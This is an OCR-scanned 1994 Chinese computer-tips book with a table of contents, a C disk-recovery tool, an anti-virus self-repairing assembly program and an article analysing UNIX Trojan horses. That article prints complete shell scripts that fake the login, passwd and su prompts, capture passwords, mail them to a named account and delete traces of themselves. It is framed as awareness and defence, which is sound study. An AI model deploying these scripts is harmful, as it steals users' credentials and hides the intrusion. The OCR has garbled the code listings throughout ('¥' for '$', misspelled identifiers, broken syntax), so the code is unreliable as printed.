

《中国计算机用户》系列丛书

微机应用技巧(二)

《中国计算机用户》杂志社 编

荟萃天地精华 创科技最佳



●TH系列扫描仪
光学分辨率: 600 DPI, 1200 DPI, 2400 DPI.
24位真彩色、SCSI接口卡



●Define 486/66V 高档微机
VESA总线、Windows 24位真
彩色显示、高速硬盘

●TH-7010/7012光盘机
1000M可擦写光盘、SCSI接口



●TH彩色热转打印机
采用热升华技术、彩色效果明亮动人、最大A幅面

电子工业出版社

《中国计算机用户》系列丛书

微机应用技巧

(二)

《中国计算机用户》杂志社 编

电子工业出版社

(京)新登字 055 号

内 容 提 要

本书是各行各业微机用户用机经验与技巧的精选汇编,其内容涉及计算机及外设的应用与控制技术,文字处理技术,数据库应用,语言与编程,图形图象处理,网络与多用户操作系统等微机应用人员感兴趣的技术问题,文章内容深入浅出,突出实用,尤其适合广大计算机用户迅速提高应用技术水平用。

本书突出实用性,可操作性,适合于非计算机专业人员、初级和中级计算机应用人员阅读。

微机应用技巧

(二)

《中国计算机用户》杂志社编

责任编辑:李颖 郭旭 国晓平(特约)

*

电子工业出版社出版(北京市万寿路)

电子工业出版社发行 各地新华书店经销

顺义县天竺颖华印刷厂印刷

*

开本:787×1092毫米 1/16 印张:21 字数:536千字

1994年1月第1版 1994年3月第1次印刷

印数:00,001-10,100册 定价:16.50元

ISBN 7-5053-2375-X/T2·677

前 言

进入 90 年代,世界信息产业的巨大发展,电子信息技术的广泛应用,正在把世界推进到一个信息经济的时代。电子信息技术,特别是微电子、计算机在这场新的技术革命中起着先导的作用。现在,全国不论在计算机产业的发展方面还是在计算机的普及应用方面,其速度和成效都是惊人的。为了更进一步推进计算机普及应用,我杂志社决定编写出版微电脑实用技巧丛书。丛书将分册出版,各册主要内容包括:计算机及外设的应用与控制技术;文字处理技术;数据库应用;语言与编程;图形图象处理;网络与多用户操作系统等。本书主要特色是:一文一题,一题一解,讲求实效,立竿见影。特别适用于不同层次的计算机应用人员及电脑爱好者。

本丛书内容全部都在《中国计算机用户》杂志刊登过,这次出版是经过分类汇编而成的。《中国计算机用户》杂志是全国影响最大、发行量最大的计算机实用技术刊物之一。我们相信本丛书的出版,将对大家在计算机应用的实践中助一臂之力。

《中国计算机用户》杂志社

93. 岁末

目 录

第一部分 计算机及外设的应用与控制技术

1.1 实用磁盘文本文件抢救工具	(1)
1.2 文件自保护技术	(3)
1.3 特洛伊木马的剖析与防御	(7)
1.4 VGA 汉字屏幕的保存与恢复	(10)
1.5 动态模拟手写字符	(13)
1.6 HGC 卡单显环境下 2.13H 系统存在的问题及解决方法	(15)
1.7 把文本屏幕画面写入文件的方法	(17)
1.8 2.13H 五笔词汇库自动大容量扩充	(18)
1.9 在 DOS 5.0 及大容量硬盘上安装金山汉字系统	(26)
1.10 金山 WBX.COM 定义词组的一种方法	(30)
1.11 解决联想汉字系统与新时代汉字系统汉字录入冲突一法	(33)
1.12 多种汉字系统共存的实用方法	(36)
1.13 MS DOS 5.0 下应用软件系统的兼容性	(38)
1.14 磁盘增容的好方法	(42)
1.15 指定盘符的程序在非指定盘上的运行技巧	(43)
1.16 硬盘假坏盘簇清除程序	(44)
1.17 制作 3.5 英寸 DRDOS 6.0 安装盘的方法	(49)
1.18 怎样快速搜索磁盘目录中的文件——文件查找程序 MATCH 的实现	(50)
1.19 DOS 文件成批拷贝到 XENIX 系统	(54)
1.20 重新生成分区信息表的算法及实现	(55)
1.21 AMI BIOS 高级 CMOS 的设置	(61)
1.22 CMOS 数据中口令字的使用及其查询	(63)
1.23 在 DOS 状态下显示 SPT 文件	(66)
1.24 加密盘的制作与应用	(68)
1.25 一个转移文件的实用程序	(72)
1.26 MS DOS 目录树的嫁接	(73)
1.27 为应用程序菜单提供鼠标器支持	(76)
1.28 WINDOWS 中鼠标的使用技巧与应急	(82)
1.29 如何在 WINDOWS 环境中灵活设置肖像	(83)

1.30 西文 WINDOWS 3.1 多任务下使用中文的简单方法	(83)
1.31 WINDOWS 系统高分辨图形图象显示模式的设置	(85)
1.32 WINDOWS 3.0 的汉字输入	(86)
1.33 微机实用俄文输入方法	(89)
1.34 源程序的快速录入法	(92)
1.35 快速删除文件名带有一定特征的文件	(94)
1.36 简洁快速更新多个文件日期的方法	(96)
1.37 实现字符串自动替换的方法	(99)
1.38 通用打印驱动程序原理及实现	(101)
1.39 超长程序的打印	(105)
1.40 正反两面打印程序	(108)
1.41 快速查找打印机断针或短针位置的程序	(111)
1.42 彻底解决超宽报表打印输出的有效办法	(116)
1.43 改进制表形式来延长打印头寿命	(119)
1.44 测试应用程序的运行时间	(120)
1.45 一种微型机类型测试方法	(121)

第二部分 文字处理技术

2.1 如何处理 WS 中的系统隐含字符	(124)
2.2 高效使用 WPS 系统经验六则	(125)
2.3 在 MSDOS 5.0 下运行 WPS	(127)
2.4 SUPER-WPS 文本文件的自动分页处理	(129)
2.5 WPS 下 NM-9400 打印机的使用	(133)
2.6 使用 WPS 将横幅打印转为纵幅打印	(133)
2.7 如何解决 WPS 打印中的两个问题	(134)
2.8 找回密码吗	(135)
2.9 关于 CCED 在 FoxBASE 中的应用及表格输出	(138)
2.10 CCED 与 *.DBF 数据传递的方法	(139)
2.11 CCED 制表时数据的输入方法	(141)
2.12 在任意路径中使用 CCED 的一种方法	(145)
2.13 如何使用 CCED 编辑不同子目录的文件	(146)
2.14 用 CCED 4.0 版转化全角字符为半角字符	(146)
2.15 谈排版命令的自动添加	(147)
2.16 PE II 双栏分页功能键的定义	(148)

第三部分 数据库应用

3.1 改变数据库记录物理顺序	(150)
-----------------------	-------

3.2 通用多重条件查询和统计一体化程序设计	(151)
3.3 FoxBASE+源程序结构检测程序 FoxCHECK	(156)
3.4 FoxBASE+中巧用 2.13 汉字系统的特殊显示功能	(159)
3.5 FoxBASE+中窗口管理	(162)
3.6 用 C 语言解决 FoxBASE 存、取屏幕命令的缺陷	(165)
3.7 用 C 语言为 FoxBASE、dBASE 应用程序提供鼠标支持	(167)
3.8 开发 ORACLE 数据库应用系统中的一种屏幕控制技术	(173)
3.9 使 dBASE III+ 伪编译支持汉字变量名	(175)
3.10 数据在 Foxplus 和 Informix-4GL 间的转换	(177)
3.11 关于 FoxBASE+2.10 的下拉式菜单的应用	(179)
3.12 滚屏 SCROLL 在程序中的妙用	(181)
3.13 显式修正数据库结构	(182)
3.14 数据库的旋转及其应用	(187)
3.15 克服 FoxGRAPH 接口程序的限制	(193)
3.16 如何方便、快速建立 FoxBASE+过程文件	(197)
3.17 FoxBASE+通信陷阱的实现	(200)
3.18 DBF 文件丢失后的数据寻找恢复法	(206)
3.19 怎样打开丢失了 DBT 文件的数据库	(207)

第四部分 语言与编程

4.1 通用表格转换程序的最优实现	(211)
4.2 利用 DXF 文件为西文 AUTO CAD 标注汉字	(214)
4.3 为 AUTOCAD 增加一个纵向书写文字的命令	(218)
4.4 国标字体形文件的编制方法与技巧	(219)
4.5 实用的文本文件阅读工具	(222)
4.6 快速检索所需文件	(223)
4.7 用文件时间查找文件	(225)
4.8 五笔字型汉字录入测试程序	(226)
4.9 COBOL 语言如何调用 2.13H 的屏幕显示功能	(227)
4.10 用 Turbo C 制作脱离汉字库的微机汉字+图形封面	(229)
4.11 模拟电视移动汉字	(233)
4.12 使用数字字符转换函数时的注意事项	(237)
4.13 Turbo Pascal 中文弹出式菜单的实现	(239)
4.14 Turbo Prolog 2.0 与 Borland C++2.0 的接口技术	(243)
4.15 谈 C 语言 printf() 函数中的“++”运算	(250)
4.16 带有命令行参数和具有输入输出改道功能的程序设计	(252)

第五部分 图形图象处理

5.1 动画提示技术	(256)
5.2 如何编写图象、动画文件显示驱动程序.....	(258)
5.3 用 BASIC 语言编制“科印”下的图形文件.....	(260)
5.4 用颜色覆盖的方法实现图形动画显示	(263)
5.5 如何实现中西文兼容的立体窗口与光标选取菜单	(264)
5.6 有界流动窗口和立体流动窗口的 Turbo C 程序实现	(269)
5.7 重叠立体窗口的创建、存储及恢复.....	(274)
5.8 为 Turbo C 增加一个全屏幕图象硬拷贝函数	(278)
5.9 将 AUTOCAD 图形转换成 Turbo C 图形的程序设计	(280)
5.10 SPT 图形的放大方法	(286)
5.11 用 TVGA 实现高分辨率、多灰度级图象显示	(288)
5.12 程序运行中的针式打印机屏幕图形输出	(292)
5.13 彩色文本屏幕的灰度硬拷贝	(294)

第六部分 网络与多用户操作系统

6.1 XENIX 系统的远程登录	(298)
6.2 如何在 XENIX 系统中进行排版输出	(300)
6.3 XENIX 操作系统下的终端打印技巧	(300)
6.4 用 C 语言实现 XENIX 下多用户 FoxBASE+ 的终端透明打印	(303)
6.5 一种通用终端打印技术的设计与实现	(305)
6.6 UNIX 系统 V 下 2K 文件系统的使用	(310)
6.7 浅谈 XENIX 系统提示信息的汉化处理	(310)
6.8 XENIX 系统下文件的加密与解密	(312)
6.9 巧用 UNIX 系统的编辑程序 vi	(316)
6.10 在 NOVELL 网上移植汉字系统的一种方法	(317)
6.11 在 COMPAQ 386/25e 上协调 NOVELL 2.15、2.13H、WPS5.1	(322)
6.12 网络上一个短时独享记录函数	(324)
6.13 用 Turbo C 实现文件共享	(326)

第一部分 计算机及外设的应用与控制技术

1.1 实用磁盘文本文件抢救工具

当磁盘发生意外而遭非物理性损坏时,若没有写入新文件,则大部分源文件和源程序是可以挽救的。本程序不涉及已损坏的文件目录表和分配表,采用读逻辑扇区的方法实现恢复工作。顺序读数据扇区,每次读一扇区 512 字节。根据源文件和源程序在 512 字节中至少有一个换行和回车符作为源文件的判定。如满足条件,则第一步显示所读内容,询问是否存入新文件;第二步按任意键继续读下一扇区,ESC 键退出。否则做第二步。为了以后编辑方便,凡遇到文件结束符(1AH)都转换为换行符;因同时存在换行和回车符造成编辑时的隔行现象,所以滤掉了回车符。在显示中,若有鸣铃字符(07H)则会减慢显示速度和弄出噪音,因此把它换为空格。本工具用 Turbo C2.0 编写。

源程序清单:

```
#include <stdio. h>
#include <ctype. h>
#include <conio. h>
#include <dos. h>
main()
{ int i,j;
  char d,name[12],buf[512],yn;
  FILE *fname;
  int bl;
  textbackground(BLUE);
  clrscr();
  window(20,8,60,18);
  textbackground(GREEN);
  textcolor(YELLOW);
  clrscr();
  gotoxy(4,2);
  printf("which device you want to read?");
  do{
    d=toupper(getch());
  }while(d!= 'A'&& d!= 'B');
  putchar(d);
  gotoxy(4,4);
```

```

cprintf("write to file qname;");
scanf("%s",name);
gotoxy(4,6);
cprintf("The beginning sector;");
scanf("%d",&i);
if((fname=fopen(name,"w+"))==NULL)
{
    fprintf(stderr,"Cannot open output file. %s\n",name);
    return 1;
}
do {
    if (absread(d-'A',1,i,&buf)!=0)
    {
        perror("Disk problem\n");
        exit(1);
    }
    j=0;
    bl=0;
    do{
        if((buf[j]=='\n' || buf[j]==0x8d)&&buf[j+1]!='\r')
            bl=1;
        if(buf[j]==0xad
            buf[j]=' ';
        if(buf[j]==0xla)
            buf[j]='\n';
        if(buf[j]=='\a')
            buf[j]=' ';
        j++;
    }
    while(j<512);
    window(1,1,79,2);
    textbackground(GREEV);
    clrscr();
    gotoxy(1,1);
    cprintf(" The disk read service");
    gotoxy(56,1);
    cprintf("Proccssing sector: %d",i);
    window(1,3,79,23);
    textbackground(3);
    textcolor(BLUE);
    clrscr();
    if(bl)
        { for(j=0;j<512;j++)

```

```

        { cprintf("%c",buf[j]);
          if(buf[j]!='\r')
            buf[j]=' ';
        }
    window(1,24,79,25);
    textbackground(MAGENTA);
    textcolor(BLACK);
    clrscr();
    gotoxy(4,2);
    cprintf("          If or not write to file? (Y/N");
    do{
        yn=toupper(getch());
    }while(yn!= 'Y' && yn!= 'N');
    if(yn== 'Y')
        if((fwrite(buf,1,512,fname))!= 512)
            {printf("Wrtie disk error! \n");
             return 1;
            }
    }

    window(1,24,79,25);
    textbackground(MAGENTA);
    textcolor(BLACK);
    clrscr();
    gotoxy(4,2);
    cprintf("          Press any key to continue... or ESC to exit");
    if((getch())==27)
        break;
    i++;
}while(1);
fclose(fname);
}

```

(邱素刚)

1.2 文件自保护技术

由于计算机病毒的泛滥,如何提高计算机信息的安全性成为一个亟待解决的问题,为此,许多反病毒软件,防病毒卡应运而生,它们在某种程度上减少了病毒造成的危害,但反病毒软件对病毒的防疫是被动性的,即先出现了某种病毒,然后才会产生清除这种病毒的软件,这之间出现了一个时间差,而防病毒卡,它起的作用主要是防止病毒发作,来减少病毒造成的危害。安装了防病毒卡后不可避免会引起许多误判断,把原本是正常的操作(如:正常改写文件,属于正常情况下的格式化特定磁道)误判为是病毒行为,增添了操作人员额外负担。

那么,有没有方法把目前对病毒的被动性防御变为主动性防御,而且尽量少地利用外界工具(即上面所说的反病毒软件,防病毒卡等)呢?答案是肯定的。笔者编制了一个程序,从实践上证明这种方法在防止病毒传播方面是有效的。

在介绍该方法之前,先看一下硬件关于容错方面的概念。在高准确度要求的环境下,可以用增加冗余设备的方法来提高数据准确度,就存储系统而言,我们可用三台存储器存储同一内容,取用数据时,把三台存储器中的相关数据都取出来,然后把这三组数据进行比较,可用多数相同者选用的原则来选用数据。比如:有两组数据相同,而与另一组数据不同,那么就取两组都相同的数据作为主机运算用的数据。

由此得到启示,我们可把硬件容错概念向软件方面引伸。为了防止以软件形式存放的数据信息被破坏,我们可把同一数据设置在几个数据区。取用时,把几个数据区的相关数据都取出来,把它们比较之后再选用,一般可按多数相同者选用的原则。

笔者又把这一冗余容错方法用在程序代码上。原本一个程序中只有一组代码,现在在一个程序中设几组相同的代码,运行程序时先比较这几组代码,如果几组代码都相同,那么可认为程序是完好的,于是正常执行该程序(只需执行其中一组代码)。如果发现这几组代码间存在差异,那么就按多数相同者选用的原则,先用正确代码把出现差错的那组代码改正过来,然后继续执行该程序。

计算机病毒主要是通过修改程序代码进行传播,如果我在程序中放 2~3 组相同代码,目前的计算机病毒一般只能修改一组代码,而且一般是处于程序前部的那组代码,从理论上说,如果设置有几组相同代码的程序被计算机病毒入侵,则通过这 2~3 组代码之间的比较就可修复该程序。(在程序下一次运行时自然修复,不需任何外来工具。)

笔者用这种方法编制了一个示例程序,取名为 selp. asm,把它编译成 com 文件即可。编译后的字节数为 546。笔者用 1591 病毒去入侵它,病毒入侵后字节数变为 2135。用干净 DOS 盘 (DOS3. 3)重新启动 selp 程序运行后,再检查它的字节数,发现又恢复为 546。

把原文件的备份 zzzselp. com(没被 1591 病毒感染过,用 A>copy selp. com zzzselp. com 的方法获得)与自保护恢复后的文件 selp. com 用 comp 进行比较。比较结果如下:

```
A:selp. com and A:zzzselp. com
```

```
Eof mark not found
```

```
Files compare ok
```

由此可见前后两文件完全一样。

注:

笔者在编程时,本想用比较各组代码的方法来决定是否需修正程序后再执行后继程序段。当我用 1591 病毒入侵来检验时,发现竟然无效,原来是病毒程序在先执行了它本身后,完全恢复了原程序代码,所以比较时各组代码完全一样。鉴于此,并且考虑到病毒一般从文件头或尾入侵,那么就可设置三组相同程序代码,以中间的那组代码作为依据,文件运行时首先用中间的那组代码改写前后两组代码,再接着执行该程序,这样就可把文件恢复原内容,如果有病毒入侵,同时也把病毒给清除了。

从演示的角度出发,笔者所编的 selp. com 程序里,只安排了两组程序代码。

程序 SELP. ASM 清单:

```
code segment public
```

```

assume cs:code,ds ;code,es;code

    org 100h
start: jmp begin
file1 db'selp.com'.0
msg1 db 0ah,0dh,'I am a self_protect demo program. ¥'
msg2 db 0ah,0dh,'Hello, This program is O. K. ¥'
msg3 db 07h,07h,0dh,0ah,'Program has been damaged, but I repaired myself. ¥'
msg4 db 0ah,0dh,'repair error. ','¥'
begin:  mov dx,offset msg1
        mov ah,09h
        int 21h
        cld
        mov cx,102h
        mov si,220h
        mov di,100h
        repz cmpsb
        jmp repair
        mov dx,offset msg2
        mov ah,09h
        int 21h
        mov ah,4ch
        mov al,01h;  terminate program
        int 21h
repair:cld
        mov cx,102h
        mov si,220h
        mov di,100h
lopl:lodsb
        stosb
        loop lopl
        mov ax,cs
        mov ds,ax
        mov dx,offset file2
        mov al,01
        mov ah,3dh
        int 21h
        jc err
        mov bx,ax
        mov ah,40h
        mov cx,222h
        mov dx 100h
        int 21h
        mov cx,0

```

```

mov ah,40h
int 21h
mov ah,3eh
int 21h
mov dx,offset msg3
mov ah,09h
int 21h
mov ah,4ch
mov al,01
int 21h
err:mov dx,offset msg4
mov ah,09h
int 21h
mov ax,4c01h
int 21h
assume cs:code,ds:code,es:code
org 220h
start2:jmp begin2
file2 db 'seip.com',0
msg11 db 0ah,0dh,'I am a self_protect demo program. ¥'
msg22 db 0ah,0dh,'Hello,This program is O. K. ¥'
msg33 db 07h,07h,0dh,0ah,'Program has been damaged,but I repaired myself. ¥'
msg44 db 0ah,0dh,'repair error. ',' ¥'
begin2:mov dx,offset msg1
mov ah,09h
int 21h
cld
mov cx,0102h
mov si,220h
mov di,100h
repz cmpsb
jmp repair2
mov dx,offset msg2
mov ah,09h
int 21h
mov ah,4ch
mov al,01h;terminate program
int 21h
repair2:cld
mov cx,102h
mov si,220h
mov di,100h
lop2:lodsb

```

```

    stosb
    loop lop2
    mov ax,cs
    mov ds,ax
    mov dx,offset file2
    mov al,01
    mov ah,3dh
    int 21h
    jc err2
    mov bx,ax
    mov ah,40h
    mov cx,222h
    mov dx,100h
    int 21h
    mov cx,0
    mov ah,40h
    int 21h
    mov ah,3eh
    int 21h
    mov dx,offset msg3
    mov ah,09h
    int 21h
    mov ah,4ch
    mov al,01
    int 21h
err2:mov dx,offset msg4
    mov ah,09h
    int 21h
    mov ax,4c01h
    int 21h
code    ends
    end start

```

(陈立志)

1.3 特洛伊木马的剖析与防御

在一个 UNIX 的多用户系统中,用户的口令失窃,就意味着用户的使用权被窃取,对用户造成伤害。故提高计算机用户的安全意识非常重要。特洛伊木马是一种常见的入侵方式,以下是本人对特洛伊木马病毒的一些分析,目的是让读者对这一类病毒有个大概的了解,从而增强防范的意识。

1. 特洛伊木马的剖析

特洛伊木马入侵的思想是制造一个输入口令的假现场,诱骗大意的用户前来输入口令,用户只是以为敲错了键,而特洛伊木马却完成了窃取口令的使命,返回真实的现场。制造者们细心地考虑真实现场可能会出现各种情况,力求达到以假乱真的效果。

通常有下列的三种模拟现场:

- (1)登录 Altos login:现场;
- (2)修改口令 password 现场;
- (3)以 su 进入超级用户登录现场。

2. 三个特洛伊木马的程序清单

模拟 Altos login: 登录现场。

trap"" 0 2 3 15 # 忽略 ctrl-d, 中断, 退出, 软件终断的信号。

clear

echo"Altos login:\c"

read username

echo ¥username>/tmp/kk¥¥

用户如不输入,则仍旧显示"Altos login:"等待用户输入。

While test -r/tmp/kk¥¥ -a"¥username"

do

echo"Altos login:\c"

read username

done

stty -echo

echo"Password:\c"

read ok

if[-n "¥ok"]

then

echo

echo"Login incorrect"

else

echo

echo"Login incorrect"

fi

hghg='tty'

hh='date'

echo ¥username ¥ok ¥hghg ¥hh |mail yxy168# 以邮件的形式发给用户 yxy168。

stty echo

以杀进程的形式退出特洛伊木马,返回真实现场。

uu='tty|cut -c9-'

if ["¥uu"="sole"]

then

oo='ps|grep con|cut -cl-6|sed -n'lp'|tr -d'''

else

8

```

oo=' ps |grep ¥uu|cut -cl-6|sed -n'lp'|'tr -d'' '
fi
kill -9 ¥00
rm /tmp/kk¥¥
fi

```

这是一个较成熟的特洛伊木马程序,它产生逼真的登录现场:用户暂不输入而打入回车,屏幕仍旧显示"Altos login",诱骗用户输入口令。唯一不足之处是当用户打入 Ctrl-d 时会真相毕露。

模拟修改口令 passwd 现场。

```

trap""0,2,3,9,15
yyee='whoami'
ujuj='date'
echo"Changing passwd for ¥yyee"
stty -echo
echo "old passwd:\c"
read username
echo
echo"New passwd:\c"
read pass
echo ¥pass>/tmp/kkjj¥¥
less='wc -c/tmp/kkjj¥¥|cut -cl-8|tr -d'' '
if [ ¥less -ge 6]
then
echo
echo"Password must contain at least two alphabetc characters and at least one numeric of special character."
# 当用户输入的新口令大于 6 个字符时,显示出错信息。
else
echo
echo"Password is too short-must be at least 6 digits"
fi
rm /tmp/kkjj¥¥
echo passwd: ¥username ¥pass ¥ujuj |mail yxy168# 以邮件的形式发给用户 yxy168。
echo"Sorry"
Stty echo
(rm ¥HOME/passwd)# 自毁特洛伊木马,不留入侵痕迹。
exec/bin/passwd# 转入真实的/bin/passwd
# 模拟 su 进入超级用户现场。
trap""0 2 3 9 15
stty -echo
echo"Password:\c"
read username
stty echo

```